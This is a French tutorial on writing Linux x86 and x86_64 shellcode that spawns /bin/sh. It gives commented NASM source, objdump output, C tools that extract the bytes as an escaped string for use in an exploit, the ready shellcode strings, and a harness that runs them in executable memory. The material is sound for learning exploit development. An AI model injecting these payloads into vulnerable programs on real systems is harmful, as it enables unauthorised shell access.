Les shellcodes x86 et x86_64 sur GNU/Linux
Définition
Les shellcodes sont utilisés comme code arbitraire ou malveillant que l'on injecte dans la mémoire d'un programme vulnérable.
Un shellcode se compose d'une chaîne de caractères sous forme hexadecimale. Cette "string" contient en réalité une suite d'instructions assembleur.
Ces instructions permettent le plus souvent de générer un shell ou une invite de commande. Mais il est possible de faire exécuter ce que l'on veut.
Syscall
Pour concevoir un shellcode Linux on utilise les appels système ou les syscalls
qui sont identifiés par des numéros unique et doivent être placés dans le registre eax en x86 et rax en x86_64.
Certains syscall ont besoin d'arguments pour pouvoir fonctionner.
Ces arguments lorsqu'ils ne dépassent pas le nombre de six sont placés dans des registres.
Sur une architecture x86, le premier registre d'argument est le registre ebx, le second est ecx, le troisème edx,
le quatrième esi, puis edi et le dernier est le registre ebp.
Alors que pour une architecture x86_64, les registres sont dans l'odre: rdi, rsi, rdx, rcx, r8, et r9.
Pour les syscalls nécessitants plus de six arguments,
une structure contenant tous les arguments est donnée en premier et unique argument, donc dans le registre ebx pour x86 et rdi pour x86_64.
Une fois les arguments placés dans les registres adéquats, on exécute le syscall grâce à l'instruction int 0x80 en x86 et syscall en x86_64.
Pour connaître le numéro ou identifiant d'un syscall, on peut regarder dans les fichiers /usr/include/asm/unistd_32.h et /usr/include/asm/unistd_64.h selon l'architecture.
Shellcode x86
Dans ce document, le but de notre shellcode sera d'exécuter un nouveau shell /bin/sh.
Pour ce faire on va utiliser la fonction: execve dont le prototype est:
int execve(const char *filename, char *const argv[], char *const envp[]);
Le prototype indique que la fonction execve prend trois arguments.
Le premier: un pointeur vers la string contenant la commande à exécuter,
le deuxième: un tableau d'arguments pour la commande
et le troisième: un tableau de variables d'environnement.
Avant de s'attaquer au code assembleur, regardons à quoi cela ressemblerait en langage C
1
2
3
4
5
6
|
#include <unistd.h>
void main(void)
{
execve("/bin/sh", 0, 0);
}
|
Passons maintenant au code assembleur.
Avec la commande grep on peut facilement trouver le syscall de la fonction execve:
1
2
|
$ grep execve /usr/include/asm/unistd_32.h
#define __NR_execve 11
|
En ce qui concerne la string "/bin/sh", soit le premier argument de la fonction execve, il existe deux restrictions:
- On ne peut pas utiliser la section réservée aux données, celle nommée .data en assembleur.
- Le shellcode ne doit pas contenir de NULL byte, donc nous ne pouvons pas utiliser le caractère '\0'.
Pour contourner ces deux restrictions, on va utiliser une petite technique utilisant les instructions jmp, call et pop.
Voici le code commenté de cette technique:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
section .text
global _start
_start:
xor ebx,ebx ; on met ebx (32 bits) à 0, donc bl (8 bits) aussi
jmp getString ; on jump sur getString
getStringReturn:
pop ecx ; on pop dans ecx le haut de la stack, soit le ptr sur notre string "hello world#"
mov [ecx+11],bl ; on écrase le '#' par bl, donc 0
getString:
; le call va "pusher" sur la stack l'adresse de l'instruction qui suit, soit l'adresse de notre string "hello world#"
call getStringReturn
db "hello world#"
|
On a donc maintenant toutes les connaissances nécessaires à l'écriture de notre shellcode devant exécuter /bin/sh.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
section .text
global _start
_start:
jmp GetString
GetStringReturn:
pop esi ; esi = ptr sur "/bin/sh#"
xor eax,eax ; eax = 0
mov byte [esi+7],al ; on écrase le '#' ; esi = ptr sur "/bin/sh"
mov dword [esi+8],eax ; esi+8 = 0
mov al, 0xb ; on place le syscall (11) dans eax
lea ebx,[esi] ; premier argument = "/bin/sh"
lea ecx,[esi+8] ; second argument = 0
lea edx,[esi+8] ; troisième argument = 0
int 0x80 ; on exécute le syscall
GetString:
call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack
db "/bin/sh#"
|
On assemble ce code avec nasm de la façon suivante:
1
2
|
$ nasm -f elf32 shellcode-x86.asm
$ ld shellcode-x86.o -o shellcode-x86 -m elf_i386
|
On peut obtenir les bytes formant le shellcode avec l'outil
objdump de cette façon:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
$ objdump -d ./shellcode-x86
./shellcode-x86: file format elf32-i386
Disassembly of section .text:
08049000 <_start>:
8049000: eb 15 jmp 8049017 <GetString>
08049002 <GetStringReturn>:
8049002: 5e pop %esi
8049003: 31 c0 xor %eax,%eax
8049005: 88 46 07 mov %al,0x7(%esi)
8049008: 89 46 08 mov %eax,0x8(%esi)
804900b: b0 0b mov $0xb,%al
804900d: 8d 1e lea (%esi),%ebx
804900f: 8d 4e 08 lea 0x8(%esi),%ecx
8049012: 8d 56 08 lea 0x8(%esi),%edx
8049015: cd 80 int $0x80
08049017 <GetString>:
8049017: e8 e6 ff ff ff call 8049002 <GetStringReturn>
804901c: 2f das
804901d: 62 69 6e bound %ebp,0x6e(%ecx)
8049020: 2f das
8049021: 73 68 jae 804908b <GetString+0x74>
8049023: 23 .byte 0x23
|
get-shellcode-x86.c
On peut aussi coder un petit outil: get-shellcode-x86.c pour afficher directement la string à placer dans l'exploit, voici le code de cet outil:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>
void print_shellcode_x86(unsigned char *data);
int main(int argc, char *argv[])
{
int fd;
struct stat sb;
unsigned char *data;
unsigned char *text;
if (argc != 2)
{
fprintf(stderr, "usage: %s <bin>\n", argv[0]);
exit(EXIT_FAILURE);
}
if ((fd = open(argv[1], O_RDONLY)) == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
if ((fstat(fd, &sb)) == -1)
{
perror("fstat");
exit(EXIT_FAILURE);
}
if ((data = (unsigned char *)mmap(0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
if ((strncmp(data, ELFMAG, 4)) != 0)
{
fprintf(stderr, "error: %s: Not an ELF file\n", argv[1]);
exit(EXIT_FAILURE);
}
if (data[EI_CLASS] == ELFCLASS32) print_shellcode_x86(data);
else
{
fprintf(stderr, "error: %s: Unknown architecture\n", argv[1]);
exit(EXIT_FAILURE);
}
close(fd);
return 0;
}
void print_shellcode_x86(unsigned char *data)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr *)data;
Elf32_Shdr *shdr = (Elf32_Shdr *)(data + ehdr->e_shoff);
unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
unsigned char *pbyte;
Elf32_Off offset = 0;
uint32_t size = 0, n = 0;
int i;
for (i = 0; i < ehdr->e_shnum; i++)
{
if (!strcmp(strtab + shdr[i].sh_name, ".text"))
{
offset = shdr[i].sh_offset;
size = shdr[i].sh_size;
break;
}
}
if (!offset && !size)
{
fprintf(stderr, "error: No \".text\" section\n");
exit(EXIT_FAILURE);
}
pbyte = data + offset;
printf("\"");
while (n < size)
{
printf("\\x%.2x", *pbyte);
pbyte++;
n++;
if (!(n % 15)) printf("\"\n\"");
}
if (n % 15) printf("\"");
printf("\n");
}
|
Exemple d'utilisation:
1
2
3
4
5
|
$ gcc get-shellcode-x86.c -o get-shellcode-x86
$ ./get-shellcode-x86 shellcode-x86
"\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e"
"\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x23"
|
Shellcode x86_64
Ici, le principe étant le même, on va simplement écrire le même shellcode (shellcode-x86.asm) mais pour une architecture x86_64:
1
2
|
$ grep execve /usr/include/asm/unistd_64.h
#define __NR_execve 59
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
section .text
global _start
_start:
jmp GetString
GetStringReturn:
pop rbx ; rbx = ptr sur "/bin/sh#"
xor rax,rax ; rax = 0
mov byte [rbx+7],al ; on écrase le '#' ; rbx = ptr sur "/bin/sh"
mov qword [rbx+8],rax ; rbx+8 = 0
mov al, 0x3b ; on place le syscall (59) dans rax
lea rdi,[rbx] ; premier argument = "/bin/sh"
lea rsi,[rbx+8] ; second argument = 0
lea rdx,[rbx+8] ; troisième argument = 0
syscall ; on exécute le syscall
GetString:
call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack
db "/bin/sh#"
|
On assemble ce code toujours avec nasm:
1
2
|
$ nasm -f elf64 shellcode-x86_64.asm
$ ld shellcode-x86_64.o -o shellcode-x86_64 -m elf_x86_64
|
get-shellcode-x86_64.c
Le même outil (get-shellcode) mais pour du x86_64:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <elf.h>
void print_shellcode_x86_64(unsigned char *data);
int main(int argc, char *argv[])
{
int fd;
struct stat sb;
unsigned char *data;
unsigned char *text;
if (argc != 2)
{
fprintf(stderr, "usage: %s <bin>\n", argv[0]);
exit(EXIT_FAILURE);
}
if ((fd = open(argv[1], O_RDONLY)) == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
if ((fstat(fd, &sb)) == -1)
{
perror("fstat");
exit(EXIT_FAILURE);
}
if ((data = (unsigned char *)mmap(0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
if ((strncmp(data, ELFMAG, 4)) != 0)
{
fprintf(stderr, "error: %s: Not an ELF file\n", argv[1]);
exit(EXIT_FAILURE);
}
if (data[EI_CLASS] == ELFCLASS64) print_shellcode_x86_64(data);
else
{
fprintf(stderr, "error: %s: Unknown architecture\n", argv[1]);
exit(EXIT_FAILURE);
}
close(fd);
return 0;
}
void print_shellcode_x86_64(unsigned char *data)
{
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
unsigned char *pbyte;
Elf64_Off offset = 0;
uint64_t size = 0, n = 0;
int i;
for (i = 0; i < ehdr->e_shnum; i++)
{
if (!strcmp(strtab + shdr[i].sh_name, ".text"))
{
offset = shdr[i].sh_offset;
size = shdr[i].sh_size;
break;
}
}
if (!offset && !size)
{
fprintf(stderr, "error: No \".text\" section\n");
exit(EXIT_FAILURE);
}
pbyte = data + offset;
printf("\"");
while (n < size)
{
printf("\\x%.2x", *pbyte);
pbyte++;
n++;
if (!(n % 15)) printf("\"\n\"");
}
if (n % 15) printf("\"");
printf("\n");
}
|
Exemple:
1
2
3
4
5
|
$ gcc get-shellcode-x86_64.c -o get-shellcode-x86_64
$ ./get-shellcode-x86_64 shellcode-x86_64
"\xeb\x1a\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x43\x08\xb0\x3b"
"\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x08\x0f\x05\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"
|
Test
Pour pouvoir tester un shellcode sur GNU/Linux, il faut utiliser ce code intermédiaire:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
// get-shellcode-x86_64 output
char sc[] = "\xeb\x1a\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x43\x08\xb0\x3b"
"\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x08\x0f\x05\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";
void main()
{
printf("sc length: %lu\n", strlen(sc));
void *a = mmap(0, sizeof(sc), PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
((void (*)(void))memcpy(a, sc, sizeof(sc)))();
}
|
Utilisation:
1
2
3
4
5
|
sysc4ll@l4ptop ~ $ ./test-shellcode
sc length: 41
$ echo "w00t"; exit
w00t
sysc4ll@l4ptop ~ $
|
The end
Les sources de ce tuto sont dispo sur mon gitlab